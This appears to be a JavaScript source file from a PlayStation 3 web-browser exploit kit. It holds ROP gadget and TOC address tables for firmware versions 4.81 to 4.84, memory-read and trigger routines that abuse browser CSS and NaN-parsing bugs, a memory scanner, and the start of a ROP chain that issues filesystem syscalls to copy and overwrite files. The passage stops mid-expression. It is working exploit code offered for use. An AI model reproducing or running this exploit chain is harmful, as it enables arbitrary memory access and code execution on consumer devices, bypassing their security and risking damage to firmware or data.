var gadget10_addr_483=0x62DF84;
var gadget11_addr_483=0x59A4B0;
var gadget12_addr_483=0x0C864C;
var gadget13_addr_483=0x48E5A8;//free
var gadget14_addr_483=0x48C7A0;
var gadget15_addr_483=0x489C88;
var gadget_mod1_addr_483=0x60EF38;
var gadget_mod2_addr_483=0x013B74;
var gadget_mod3_addr_483=0x0B8E00;
var gadget_mod4a_addr_483=0x0D9684;
var gadget_mod4b_addr_483=0x42C778;
var gadget_mod4c_addr_483=0x054AF0; //load r5 word
var gadget_mod5_addr_483=0x4238DC;
var gadget_mod6_addr_483=0x020C00;
var gadget_mod7_addr_483=0x01A6AC;
var gadget_mod8_addr_483=0x2BACB8;
var gadget_mod9_addr_483=0x010B20;
var gadget_mod10_addr_483=0x1C5794;
var gadget_mod11_addr_483=0x18B144;
var gadget_mod12_addr_483=0x63315C; //validation gadget
var gadget_mod13_addr_483=0x336870; //store_r3 gadget
var gadget_mod14_addr_483=0x633860; //load r3 dword
var gadget_mod15_addr_483=0x39D038; //load r3 word
var gadget_mod16_addr_483=0x4F732C; //set toc
//CEX 4.84
var toc_addr_484 = 0x6F5550;
var default_vsh_pub_toc_484=0x6ED5A4;
var vsh_opd_patch_484=0x96D5C;
var vsh_opd_addr_484=0x6EBB68;
var vsh_toc_addr_screenshot_484=0x72057C;
var vsh_ps3xploit_key_toc_484=0x707774;
var toc_entry1_addr_484=0x6DA3D0;
var toc_entry2_addr_484=0x725A38;//idps
var toc_entry3_addr_484=0x6DA3C8;
var toc_entry4_addr_484=0x740000;
var toc_entry5_addr_484=0x6EB6C0;
var toc_entry6_addr_484=0x0;
var gadget1_addr_484=0x097604;
var gadget2_addr_484=0x60A044;
var gadget3_addr_484=0x0D505C;
var gadget4_addr_484=0x229838;
var gadget5_addr_484=0x12BB1C;
var gadget6_addr_484=0x615C3C;//malloc
var gadget7_addr_484=0x01FFD0;//memset
var gadget8_addr_484=0x020000;//memcpy
var gadget9_addr_484=0x029B08;
var gadget10_addr_484=0x62DF84;
var gadget11_addr_484=0x59A4B0;
var gadget12_addr_484=0x0C864C;
var gadget13_addr_484=0x48E5A8;//free
var gadget14_addr_484=0x48C7A0;
var gadget15_addr_484=0x489C88;
var gadget_mod1_addr_484=0x60EF38;
var gadget_mod2_addr_484=0x013B74;
var gadget_mod3_addr_484=0x0B8E00;
var gadget_mod4a_addr_484=0x0D9684;
var gadget_mod4b_addr_484=0x42C778;
var gadget_mod4c_addr_484=0x054AF0; //load r5 word
var gadget_mod5_addr_484=0x4238DC;
var gadget_mod6_addr_484=0x020C00;
var gadget_mod7_addr_484=0x01A6AC;
var gadget_mod8_addr_484=0x2BACB8;
var gadget_mod9_addr_484=0x010B20;
var gadget_mod10_addr_484=0x1C5794;
var gadget_mod11_addr_484=0x18B144;
var gadget_mod12_addr_484=0x63315C; //validation gadget
var gadget_mod13_addr_484=0x336870; //store_r3 gadget
var gadget_mod14_addr_484=0x633860; //load r3 dword
var gadget_mod15_addr_484=0x39D038; //load r3 word
var gadget_mod16_addr_484=0x4F732C; //set toc
function hexh2bin(hex_val)
{
return String.fromCharCode(hex_val);
}
function hexw2bin(hex_val)
{
return String.fromCharCode(hex_val >> 16) + String.fromCharCode(hex_val);
}
function hexdw2bin(hex_val) // 32bit support only (due to javascript 53bit integer limitation)
{
return hexw2bin(0) + hexw2bin(hex_val); // 00000000 padding
}
function k_hexdw2bin(hex_val) // 32bit support only (due to javascript 53bit integer limitation)
{
return hexw2bin(0x80000000) + hexw2bin(hex_val); // 80000000 padding
}
function logAdd(txt)
{
if(debug===true)
{
if(document.getElementById('log').innerHTML===''){setInnerHTML(document.getElementById('log'),hr);}
addInnerHTML(document.getElementById('log'),txt+br);
}
}
function clearLogEntry()
{
setInnerHTML(document.getElementById('log'),'');
}
function clearResultEntry()
{
setInnerHTML(document.getElementById('result'),'');
}
function writeEnvInfo()
{
setInnerHTML(document.getElementById('footer'),hr+"<h3>PS3 System Browser Info:</h3>"+navigator.userAgent+br+navigator.appName+" (" + navigator.platform + ")"+br+new Date().toTimeString() + br);
}
String.prototype.setCharAt = function(index,chr)
{
if(index > this.length-1) {return this;}
return this.substr(0,index)+chr+this.substr(index+1);
};
String.prototype.toHex8 = function()
{
return ('00' + this).substr(-2);
};
String.prototype.toHex16 = function()
{
return ('0000' + this).substr(-4);
};
String.prototype.toHex32 = function()
{
return ('00000000' + this).substr(-8);
};
String.prototype.asciiAt = function(i)
{
return this.charCodeAt(i)&0xFF;
};
String.prototype.toAscii = function(hex_16)
{
var ascii='';
var i=0;
while(i<this.length){if(hex_16===true){ascii += this.charCodeAt(i).toString(16).toHex16();} else {ascii += this.charCodeAt(i).toString(16);}i+=1;}
return ascii;
};
String.prototype.convert=function(ascii)
{
if(this.length<1){return '';}
var asciistr='';var asciichr='';var i=0;var ret=[];
if(ascii===true){asciistr = this;}
else {asciistr = this.toAscii();}
while((asciistr.length%4)!==0){asciistr+='00';}
if(asciistr.substr(asciistr.length-3,2)!=='00'){asciistr+='0000';}
while(i<asciistr.length){
asciichr = asciistr.substr(i, 4);
ret.push(String.fromCharCode(parseInt(asciichr, 16)));
i+=4;
}
return ret.join('');
};
String.prototype.convertedSize = function(ascii)
{
if(this.length<1){return 0;}
var asciistr='';
if(ascii===true){asciistr=this;}
else {asciistr = this.toAscii();}
while((asciistr.length%4)!==0){asciistr+='00';}
if(asciistr.substr(asciistr.length-3,2)!=='00'){asciistr+='0000';}
return asciistr.length/2;
};
String.prototype.replaceAt=function(index, ch)
{
return this.substr(0,index)+ch+this.substr(index+ch.length);
};
String.prototype.repeat = function(num)
{
return new Array(num+1).join(this);
};
//#################################################################################################
Number.prototype.noExponents=function()
{
var data= String(this).split(/[eE]/);
if(data.length===1) {return data[0];}
var z= '', sign= this<0? '-':'',
str= data[0].replace('.', ''),
mag= Number(data[1])+ 1;
if(mag<0){
z= sign+'0.';
while(mag++){z+='0';}
return z+str.replace(/^\-/,'');
}
mag -= str.length;
while(mag--) {z += '0';}
return str + z;
};
function fromIEEE754(bytes, ebits, fbits)
{
var retNumber=0;
var bits=[];
var i;
var j;
var byte;
for (i=bytes.length;i;i-=1)
{
byte=bytes[i-1];
for(j=8;j;j-=1)
{
bits.push(byte % 2 ? 1 : 0); byte = byte >> 1;
}
}
bits.reverse();
var str = bits.join('');
var bias = (1 << (ebits - 1)) - 1;
var s = parseInt(str.substring(0, 1), 2) ? -1 : 1;
var e = parseInt(str.substring(1, 1 + ebits), 2);
var f = parseInt(str.substring(1 + ebits), 2);
if (e === (1 << ebits) - 1)
{
retNumber = f !== 0 ? NaN : s * Infinity;
}
else if (e > 0)
{
retNumber = s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits));
}
else if (f !== 0)
{
retNumber = s * Math.pow(2, -(bias-1)) * (f / Math.pow(2, fbits));
}
else
{
retNumber = s * 0;
}
return retNumber.noExponents();
}
function generateIEEE754(address, size)
{
var hex = new Array
(
(address >> 24) & 0xFF,
(address >> 16) & 0xFF,
(address >> 8) & 0xFF,
(address) & 0xFF,
(size >> 24) & 0xFF,
(size >> 16) & 0xFF,
(size >> 8) & 0xFF,
(size) & 0xFF
);
return fromIEEE754(hex, 11, 52);
}
function generateExploit(address, size)
{
var n = (address<<32) | ((size>>1)-1);
return generateIEEE754(address, (n-address));
}
function readMemory(address, size)
{
if(document.getElementById('exploit')){document.getElementById('exploit').style.src = "local(" + generateExploit(address, size) + ")";}
else {throw "exploit div: HTML error!";}
}
function checkMemory(address, size, len)
{
if(size<len){throw "checkMemory function arguments error! size=0x"+size.toString(16)+" < len=0x"+size.toString(16);}
if(document.getElementById('exploit'))
{
readMemory(address, size);
if(debug===true)
{
var x=document.getElementById('exploit').style.src.substr(6,len);
logAdd("checkMemory: "+x.toAscii(true));
return x;
}
return document.getElementById('exploit').style.src.substr(6,len);
}
else {throw "exploit div: HTML error!";}
}
function trigger(exploit_addr){
if(document.getElementById('trigger')){document.getElementById("trigger").innerHTML = -parseFloat("NAN(ffffe" + exploit_addr.toString(16) + ")");}
else {throw "trigger div: HTML error!";}
}
//#################################################################################################
function rop_exit_5val(suc,fail,fail1,fail2,fail3,fail4,fail5)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr1[2],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr1[3],2).toAscii(true);
var t_val5=xtra_data.substr(store_idx_arr1[4],2).toAscii(true);
var t_val6=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val7=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var t_val8=xtra_data.substr(store_idx_arr2[2],2).toAscii(true);
var t_val9=xtra_data.substr(store_idx_arr2[3],2).toAscii(true);
var t_val10=xtra_data.substr(store_idx_arr2[4],2).toAscii(true);
var tmp;
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val3,16)!==0)&&(parseInt(t_val4,16)!==0)&&(parseInt(t_val5,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val6,16)))&&(parseInt(t_val2,16)===(parseInt(t_val7,16)))&&(parseInt(t_val3,16)===(parseInt(t_val8,16)))&&(parseInt(t_val4,16)===(parseInt(t_val9,16)))&&(parseInt(t_val5,16)===(parseInt(t_val10,16))))
{
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
tmp=suc;
}
else
{
if((parseInt(t_val,16)!==parseInt(t_val6,16))||(parseInt(t_val,16)===0))fail+=fail1;
if((parseInt(t_val2,16)!==parseInt(t_val7,16))||(parseInt(t_val2,16)===0))fail+=fail2;
if((parseInt(t_val3,16)!==parseInt(t_val8,16))||(parseInt(t_val3,16)===0))fail+=fail3;
if((parseInt(t_val4,16)!==parseInt(t_val9,16))||(parseInt(t_val4,16)===0))fail+=fail4;
if((parseInt(t_val5,16)!==parseInt(t_val10,16))||(parseInt(t_val5,16)===0))fail+=fail5;
tmp=fail;
}
showResult(tmp);
}
function rop_exit_3val(suc,fail,fail1,fail2,fail3)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr1[2],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val5=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var t_val6=xtra_data.substr(store_idx_arr2[2],2).toAscii(true);
var tmp;
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val3,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val4,16)))&&(parseInt(t_val2,16)===(parseInt(t_val5,16)))&&(parseInt(t_val3,16)===(parseInt(t_val6,16))))
{
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
tmp=suc;
}
else
{
if((parseInt(t_val,16)!==parseInt(t_val4,16))||(parseInt(t_val,16)===0))fail+=fail1;
if((parseInt(t_val2,16)!==parseInt(t_val5,16))||(parseInt(t_val2,16)===0))fail+=fail2;
if((parseInt(t_val3,16)!==parseInt(t_val6,16))||(parseInt(t_val3,16)===0))fail+=fail3;
tmp=fail;
}
showResult(tmp);
}
function rop_exit_2val(suc,fail,fail1,fail2)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr1[1],2).toAscii(true);
var t_val3=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var t_val4=xtra_data.substr(store_idx_arr2[1],2).toAscii(true);
var tmp;
if((parseInt(t_val,16)!==0)&&(parseInt(t_val2,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val3,16)))&&(parseInt(t_val2,16)===(parseInt(t_val4,16))))
{
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
tmp=suc;
}
else
{
if((parseInt(t_val,16)!==parseInt(t_val3,16))||(parseInt(t_val,16)===0))fail+=fail1;
if((parseInt(t_val2,16)!==parseInt(t_val4,16))||(parseInt(t_val2,16)===0))fail+=fail2;
tmp=fail;
}
showResult(tmp);
}
function rop_exit_1val(suc,fail,fail1)
{
// operations to execute on ROP exit
var t_val=xtra_data.substr(store_idx_arr1[0],2).toAscii(true);
var t_val2=xtra_data.substr(store_idx_arr2[0],2).toAscii(true);
var tmp;
if((parseInt(t_val,16)!==0)&&(parseInt(t_val,16)===(parseInt(t_val2,16))))
{
var el=document.getElementById('auto_close');
if(el){if(el.checked===true)window.close();}
tmp=suc;
}
else
{
if(fail1){if((parseInt(t_val,16)!==parseInt(t_val2,16))||(parseInt(t_val,16)===0))fail+=fail1;}
tmp=fail;
}
showResult(tmp);
}
function rop_exit(suc)
{
// operations to execute on ROP exit
var el=document.getElementById('auto_close');
if(el)
{
if(el.checked===true)window.close();
}
showResult(suc);
}
function load_check()
{
if(total_loops<max_loops)
{
showResult(progress_msg_frag1+((100/max_loops)*total_loops).toString()+progress_msg_frag2);
t_out=setTimeout(initROP,1000,false);
}
else
{
total_loops=0;
showResult(fail_msg_frag);
cleanGUI();
}
}
function setText(elem,str)
{
if(elem){elem.text=str;}
}
function getText(elem)
{
if(elem){return elem.text;}
}
function getIndex(elem)
{
if(elem){return elem.selectedIndex;}
}
function getTextBoxValue(elem)
{
if(elem){return getValue(elem);}
}
function getComboSelectedText(elem)
{
if(elem){return getText(elem.options[getComboSelectedIndex(elem)]);}
}
function getComboSelectedIndex(elem)
{
if(elem){return getIndex(elem);}
}
function getComboSelectedValue(elem)
{
if(elem){return getValue(elem.options[getComboSelectedIndex(elem)]);}
}
function getexecText()
{
//return getComboSelectedText(document.getElementById('comboexecPath'));
return spath.substr(4,spath.length-4)+getgameIdValue()+eboot;
}
function getexecIndex()
{
return getComboSelectedIndex(document.getElementById('comboexecPath'));
}
function getexecValue()
{
//return getComboSelectedValue(document.getElementById('comboexecPath'));
return spath+getgameIdValue()+eboot;
}
function getrootPath()
{
return getComboSelectedValue(document.getElementById('combofilePath'));
}
function getactPath()
{
return getComboSelectedValue(document.getElementById('comboactPath'));
}
function getactPathText()
{
return getComboSelectedText(document.getElementById('comboactPath'));
}
function getRifValue()
{
return getTextBoxValue(document.getElementById('txtrif'));
}
function getPath(rel_path)
{
return getrootPath()+rel_path;
}
function getgameIdValue()
{
return getTextBoxValue(document.getElementById('txtgameId'));
}
function disable_tbxs()
{
disable_element(document.getElementById('txtgameId'));
}
function enable_tbxs()
{
enable_element(document.getElementById('txtgameId'));
}
function setValue(elem,str)
{
if(elem){elem.value=str;}
}
function getValue(elem)
{
if(elem){return elem.value;}
}
function setInnerHTML(elem,str)
{
if(elem){elem.innerHTML=str;}
}
function addInnerHTML(elem,str)
{
if(elem){elem.innerHTML+=str;}
}
function setVisible(elem)
{
if(elem){elem.style.visibility='visible';}
}
function setInvisible(elem)
{
if(elem){elem.style.visibility='hidden';}
}
function enable_element(elem)
{
if(elem){elem.disabled=false;}
}
function disable_element(elem)
{
if(elem){elem.disabled=true;}
}
function cbcheck(elem)
{
if(elem){elem.checked=true;}
}
function cbuncheck(elem)
{
if(elem){elem.checked=false;}
}
function enable_trigger()
{
enable_element(document.getElementById('btnTrigger'));
enable_resetbtn();
//enable_cboptions();
}
function enable_all()
{
enable_tbxs();
enable_cmboptions();
enable_cboptions();
enable_btn();
}
function disable_all()
{
disable_tbxs();
disable_cmboptions();
disable_cboptions();
disable_btn();
}
function cleanGUI()
{
enable_all();
disable_element(document.getElementById('btnTrigger'));
disable_resetbtn();
clearLogEntry();
t_out=0;
total_loops=0;
}
function disable_trigger()
{
if(document.getElementById('btnTrigger')){if(document.getElementById('btnTrigger').disabled===false){clearResultEntry();}}
else {throw "btnTrigger: HTML error";}
cleanGUI();
}
function disable_cboptions()
{
disable_element(document.getElementById('dex'));
disable_element(document.getElementById('auto_close'));
disable_element(document.getElementById('auto_reboot'));
}
function enable_cboptions()
{
enable_element(document.getElementById('dex'));
enable_element(document.getElementById('auto_close'));
enable_element(document.getElementById('auto_reboot'));
}
function disable_cmboptions()
{
disable_element(document.getElementById('comboexecPath'));
disable_element(document.getElementById('comboactPath'));
disable_element(document.getElementById('combofilePath'));
}
function enable_cmboptions()
{
enable_element(document.getElementById('comboexecPath'));
enable_element(document.getElementById('comboactPath'));
enable_element(document.getElementById('combofilePath'));
}
function enable_resetbtn()
{
setVisible(document.getElementById('reset'));
}
function disable_resetbtn()
{
setInvisible(document.getElementById('reset'));
}
function disable_btn()
{
disable_element(document.getElementById('btnTrigger'));
disable_element(document.getElementById('btnROP'));
}
function enable_btn()
{
enable_element(document.getElementById('btnTrigger'));
enable_element(document.getElementById('btnROP'));
}
function selectfilePath()
{
//var idx=getexecIndex();
//if((idx===0)||(idx===1)||(idx===2)){f_off_start=0;f_off=0;}
disable_trigger();
}
function autoclose()
{
}
function autoreboot()
{
}
function loaddex_481()
{
toc_addr = toc_addr_481_d;
vsh_opd_addr=vsh_opd_addr_481_d;
vsh_opd_patch=vsh_opd_patch_481_d;
vsh_toc_addr_screenshot=vsh_toc_addr_screenshot_481_d;
vsh_ps3xploit_key_toc=vsh_ps3xploit_key_toc_481_d;
default_vsh_pub_toc=default_vsh_pub_toc_481_d;
toc_entry1_addr=toc_entry1_addr_481_d;
toc_entry2_addr=toc_entry2_addr_481_d;
toc_entry3_addr=toc_entry3_addr_481_d;
toc_entry4_addr=toc_entry4_addr_481_d;
toc_entry5_addr=toc_entry5_addr_481_d;
toc_entry6_addr=toc_entry6_addr_481_d;
gadget1_addr=gadget1_addr_481_d;
gadget2_addr=gadget2_addr_481_d;
gadget3_addr=gadget3_addr_481_d;
gadget4_addr=gadget4_addr_481_d;
gadget5_addr=gadget5_addr_481_d;
gadget6_addr=gadget6_addr_481_d;
gadget7_addr=gadget7_addr_481_d;
gadget8_addr=gadget8_addr_481_d;
gadget9_addr=gadget9_addr_481_d;
gadget10_addr=gadget10_addr_481_d;
gadget11_addr=gadget11_addr_481_d;
gadget12_addr=gadget12_addr_481_d;
gadget13_addr=gadget13_addr_481_d;
gadget14_addr=gadget14_addr_481_d;
gadget15_addr=gadget15_addr_481_d;
gadget_mod1_addr=gadget_mod1_addr_481_d;
gadget_mod2_addr=gadget_mod2_addr_481_d;
gadget_mod3_addr=gadget_mod3_addr_481_d;
gadget_mod4a_addr=gadget_mod4a_addr_481_d;
gadget_mod4b_addr=gadget_mod4b_addr_481_d;
gadget_mod4c_addr=gadget_mod4c_addr_481_d;
gadget_mod5_addr=gadget_mod5_addr_481_d;
gadget_mod6_addr=gadget_mod6_addr_481_d;
gadget_mod7_addr=gadget_mod7_addr_481_d;
gadget_mod8_addr=gadget_mod8_addr_481_d;
gadget_mod9_addr=gadget_mod9_addr_481_d;
gadget_mod10_addr=gadget_mod10_addr_481_d;
gadget_mod11_addr=gadget_mod11_addr_481_d;
gadget_mod12_addr=gadget_mod12_addr_481_d;
gadget_mod13_addr=gadget_mod13_addr_481_d;
gadget_mod14_addr=gadget_mod14_addr_481_d;
gadget_mod15_addr=gadget_mod15_addr_481_d;
gadget_mod16_addr=gadget_mod16_addr_481_d;
}
function loadcex_481()
{
toc_addr = toc_addr_481;
vsh_opd_addr=vsh_opd_addr_481;
vsh_opd_patch=vsh_opd_patch_481;
vsh_toc_addr_screenshot=vsh_toc_addr_screenshot_481;
vsh_ps3xploit_key_toc=vsh_ps3xploit_key_toc_481;
default_vsh_pub_toc=default_vsh_pub_toc_481;
toc_entry1_addr=toc_entry1_addr_481;
toc_entry2_addr=toc_entry2_addr_481;
toc_entry3_addr=toc_entry3_addr_481;
toc_entry4_addr=toc_entry4_addr_481;
toc_entry5_addr=toc_entry5_addr_481;
toc_entry6_addr=toc_entry6_addr_481;
gadget1_addr=gadget1_addr_481;
gadget2_addr=gadget2_addr_481;
gadget3_addr=gadget3_addr_481;
gadget4_addr=gadget4_addr_481;
gadget5_addr=gadget5_addr_481;
gadget6_addr=gadget6_addr_481;
gadget7_addr=gadget7_addr_481;
gadget8_addr=gadget8_addr_481;
gadget9_addr=gadget9_addr_481;
gadget10_addr=gadget10_addr_481;
gadget11_addr=gadget11_addr_481;
gadget12_addr=gadget12_addr_481;
gadget13_addr=gadget13_addr_481;
gadget14_addr=gadget14_addr_481;
gadget15_addr=gadget15_addr_481;
gadget_mod1_addr=gadget_mod1_addr_481;
gadget_mod2_addr=gadget_mod2_addr_481;
gadget_mod3_addr=gadget_mod3_addr_481;
gadget_mod4a_addr=gadget_mod4a_addr_481;
gadget_mod4b_addr=gadget_mod4b_addr_481;
gadget_mod4c_addr=gadget_mod4c_addr_481;
gadget_mod5_addr=gadget_mod5_addr_481;
gadget_mod6_addr=gadget_mod6_addr_481;
gadget_mod7_addr=gadget_mod7_addr_481;
gadget_mod8_addr=gadget_mod8_addr_481;
gadget_mod9_addr=gadget_mod9_addr_481;
gadget_mod10_addr=gadget_mod10_addr_481;
gadget_mod11_addr=gadget_mod11_addr_481;
gadget_mod12_addr=gadget_mod12_addr_481;
gadget_mod13_addr=gadget_mod13_addr_481;
gadget_mod14_addr=gadget_mod14_addr_481;
gadget_mod15_addr=gadget_mod15_addr_481;
gadget_mod16_addr=gadget_mod16_addr_481;
}
function loadcex_482()
{
toc_addr = toc_addr_482;
vsh_opd_addr=vsh_opd_addr_482;
vsh_opd_patch=vsh_opd_patch_482;
vsh_toc_addr_screenshot=vsh_toc_addr_screenshot_482;
vsh_ps3xploit_key_toc=vsh_ps3xploit_key_toc_482;
default_vsh_pub_toc=default_vsh_pub_toc_482;
toc_entry1_addr=toc_entry1_addr_482;
toc_entry2_addr=toc_entry2_addr_482;
toc_entry3_addr=toc_entry3_addr_482;
toc_entry4_addr=toc_entry4_addr_482;
toc_entry5_addr=toc_entry5_addr_482;
toc_entry6_addr=toc_entry6_addr_482;
gadget1_addr=gadget1_addr_482;
gadget2_addr=gadget2_addr_482;
gadget3_addr=gadget3_addr_482;
gadget4_addr=gadget4_addr_482;
gadget5_addr=gadget5_addr_482;
gadget6_addr=gadget6_addr_482;
gadget7_addr=gadget7_addr_482;
gadget8_addr=gadget8_addr_482;
gadget9_addr=gadget9_addr_482;
gadget10_addr=gadget10_addr_482;
gadget11_addr=gadget11_addr_482;
gadget12_addr=gadget12_addr_482;
gadget13_addr=gadget13_addr_482;
gadget14_addr=gadget14_addr_482;
gadget15_addr=gadget15_addr_482;
gadget_mod1_addr=gadget_mod1_addr_482;
gadget_mod2_addr=gadget_mod2_addr_482;
gadget_mod3_addr=gadget_mod3_addr_482;
gadget_mod4a_addr=gadget_mod4a_addr_482;
gadget_mod4b_addr=gadget_mod4b_addr_482;
gadget_mod4c_addr=gadget_mod4c_addr_482;
gadget_mod5_addr=gadget_mod5_addr_482;
gadget_mod6_addr=gadget_mod6_addr_482;
gadget_mod7_addr=gadget_mod7_addr_482;
gadget_mod8_addr=gadget_mod8_addr_482;
gadget_mod9_addr=gadget_mod9_addr_482;
gadget_mod10_addr=gadget_mod10_addr_482;
gadget_mod11_addr=gadget_mod11_addr_482;
gadget_mod12_addr=gadget_mod12_addr_482;
gadget_mod13_addr=gadget_mod13_addr_482;
gadget_mod14_addr=gadget_mod14_addr_482;
gadget_mod15_addr=gadget_mod15_addr_482;
gadget_mod16_addr=gadget_mod16_addr_482;
}
function loadcex_483()
{
toc_addr = toc_addr_483;
vsh_opd_addr=vsh_opd_addr_483;
vsh_opd_patch=vsh_opd_patch_483;
vsh_toc_addr_screenshot=vsh_toc_addr_screenshot_483;
vsh_ps3xploit_key_toc=vsh_ps3xploit_key_toc_483;
default_vsh_pub_toc=default_vsh_pub_toc_483;
toc_entry1_addr=toc_entry1_addr_483;
toc_entry2_addr=toc_entry2_addr_483;
toc_entry3_addr=toc_entry3_addr_483;
toc_entry4_addr=toc_entry4_addr_483;
toc_entry5_addr=toc_entry5_addr_483;
toc_entry6_addr=toc_entry6_addr_483;
gadget1_addr=gadget1_addr_483;
gadget2_addr=gadget2_addr_483;
gadget3_addr=gadget3_addr_483;
gadget4_addr=gadget4_addr_483;
gadget5_addr=gadget5_addr_483;
gadget6_addr=gadget6_addr_483;
gadget7_addr=gadget7_addr_483;
gadget8_addr=gadget8_addr_483;
gadget9_addr=gadget9_addr_483;
gadget10_addr=gadget10_addr_483;
gadget11_addr=gadget11_addr_483;
gadget12_addr=gadget12_addr_483;
gadget13_addr=gadget13_addr_483;
gadget14_addr=gadget14_addr_483;
gadget15_addr=gadget15_addr_483;
gadget_mod1_addr=gadget_mod1_addr_483;
gadget_mod2_addr=gadget_mod2_addr_483;
gadget_mod3_addr=gadget_mod3_addr_483;
gadget_mod4a_addr=gadget_mod4a_addr_483;
gadget_mod4b_addr=gadget_mod4b_addr_483;
gadget_mod4c_addr=gadget_mod4c_addr_483;
gadget_mod5_addr=gadget_mod5_addr_483;
gadget_mod6_addr=gadget_mod6_addr_483;
gadget_mod7_addr=gadget_mod7_addr_483;
gadget_mod8_addr=gadget_mod8_addr_483;
gadget_mod9_addr=gadget_mod9_addr_483;
gadget_mod10_addr=gadget_mod10_addr_483;
gadget_mod11_addr=gadget_mod11_addr_483;
gadget_mod12_addr=gadget_mod12_addr_483;
gadget_mod13_addr=gadget_mod13_addr_483;
gadget_mod14_addr=gadget_mod14_addr_483;
gadget_mod15_addr=gadget_mod15_addr_483;
gadget_mod16_addr=gadget_mod16_addr_483;
}
function loadcex_484()
{
toc_addr = toc_addr_484;
vsh_opd_addr=vsh_opd_addr_484;
vsh_opd_patch=vsh_opd_patch_484;
vsh_toc_addr_screenshot=vsh_toc_addr_screenshot_484;
vsh_ps3xploit_key_toc=vsh_ps3xploit_key_toc_484;
default_vsh_pub_toc=default_vsh_pub_toc_484;
toc_entry1_addr=toc_entry1_addr_484;
toc_entry2_addr=toc_entry2_addr_484;
toc_entry3_addr=toc_entry3_addr_484;
toc_entry4_addr=toc_entry4_addr_484;
toc_entry5_addr=toc_entry5_addr_484;
toc_entry6_addr=toc_entry6_addr_484;
gadget1_addr=gadget1_addr_484;
gadget2_addr=gadget2_addr_484;
gadget3_addr=gadget3_addr_484;
gadget4_addr=gadget4_addr_484;
gadget5_addr=gadget5_addr_484;
gadget6_addr=gadget6_addr_484;
gadget7_addr=gadget7_addr_484;
gadget8_addr=gadget8_addr_484;
gadget9_addr=gadget9_addr_484;
gadget10_addr=gadget10_addr_484;
gadget11_addr=gadget11_addr_484;
gadget12_addr=gadget12_addr_484;
gadget13_addr=gadget13_addr_484;
gadget14_addr=gadget14_addr_484;
gadget15_addr=gadget15_addr_484;
gadget_mod1_addr=gadget_mod1_addr_484;
gadget_mod2_addr=gadget_mod2_addr_484;
gadget_mod3_addr=gadget_mod3_addr_484;
gadget_mod4a_addr=gadget_mod4a_addr_484;
gadget_mod4b_addr=gadget_mod4b_addr_484;
gadget_mod4c_addr=gadget_mod4c_addr_484;
gadget_mod5_addr=gadget_mod5_addr_484;
gadget_mod6_addr=gadget_mod6_addr_484;
gadget_mod7_addr=gadget_mod7_addr_484;
gadget_mod8_addr=gadget_mod8_addr_484;
gadget_mod9_addr=gadget_mod9_addr_484;
gadget_mod10_addr=gadget_mod10_addr_484;
gadget_mod11_addr=gadget_mod11_addr_484;
gadget_mod12_addr=gadget_mod12_addr_484;
gadget_mod13_addr=gadget_mod13_addr_484;
gadget_mod14_addr=gadget_mod14_addr_484;
gadget_mod15_addr=gadget_mod15_addr_484;
gadget_mod16_addr=gadget_mod16_addr_484;
}
function dex()
{
if(document.getElementById('dex').checked===true){loaddex_481();}//alert("calling loaddex_481");
else {loadcex_481();}
disable_trigger();
}
function initDEX()
{
if((document.getElementById('dex'))&&(document.getElementById('dex_txt')))
{
setVisible(document.getElementById('dex_txt'));
enable_element(document.getElementById('dex'));
}
else {throw "dex checkbox/dex span: HTML error";}
}
function showResult(str)
{
setInnerHTML(document.getElementById('result'),str);
}
function findJsVariableOffset(name,exploit_data,base,size)
{
readMemory(base,size);
var dat=document.getElementById('exploit').style.src.substr(6,size);
var i=0;
var t;
var k;
var match;
var exploit_addr;
while(i<(dat.length*2))
{
if (dat.charCodeAt(i/2)===exploit_data.charCodeAt(0))
{
match=0;
for (k=0;k<(exploit_data.length*2);k+=0x2)
{
if (dat.charCodeAt((i+k)/2) !== exploit_data.charCodeAt(k/2)){break;}
match+=1;
}
if (match===exploit_data.length)
{
exploit_addr=base+i+4;
for(t=0;t<offset_array.length;t+=1)
{
if(offset_array[t]===exploit_addr)
{
logAdd("Found "+name+" at: 0x"+exploit_addr.toString(16)+br+": Offset already used!");
return -1;
}
}
offset_array.push(exploit_addr);
logAdd("Found "+name+" at: 0x"+exploit_addr.toString(16)+br+exploit_data.toAscii(true));
return exploit_addr;
}
}
i+=0x10;
}
var end_range=base+size;
logAdd("The string variable named "+name+" could not be located in range 0x"+base.toString(16)+" - 0x"+end_range.toString(16));
return 0;
}
//########################## ROP Framework functions by bguerville(currently under development) #########################
function copy_file_overwrite(frm,to,fd_frm,fd_to,buf,rlen,wlen,stat,nl,st_size)
{
return memcpy(stat+stat_size_offset,nl,dword_size)
+syscall(sc_fs_stat,frm,stat,0,0,0,0,0,0)
+memcpy(st_size,stat+stat_size_offset,word_size)
+syscall(sc_fs_open,frm,fs_flag_readonly,fd_frm,0,0,0,0,0)
//+validate_word_from_ptr(fd_frm,to,0)
+syscall_r3r5_p2p(sc_fs_read,fd_frm,buf,stat+stat_size_offset,rlen,0,0,0,0,0,0)
+syscall_r3_p2p(sc_fs_close,fd_frm,0,0,0,0,0,0,0,0,0)
+validate_word_from_ptr(rlen+0x4,to,0)
